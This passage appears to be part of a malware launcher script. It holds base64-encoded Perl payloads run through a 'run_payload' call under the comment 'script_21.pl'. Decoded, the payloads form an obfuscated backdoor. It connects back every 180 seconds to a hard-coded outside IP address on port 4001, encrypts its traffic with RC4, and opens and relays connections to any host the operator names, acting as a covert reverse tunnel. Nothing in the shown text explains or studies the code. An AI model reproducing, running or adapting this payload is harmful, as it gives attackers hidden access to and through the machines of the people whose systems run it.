AkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_21.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICczNi4yNTUuOTguMTcwJzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE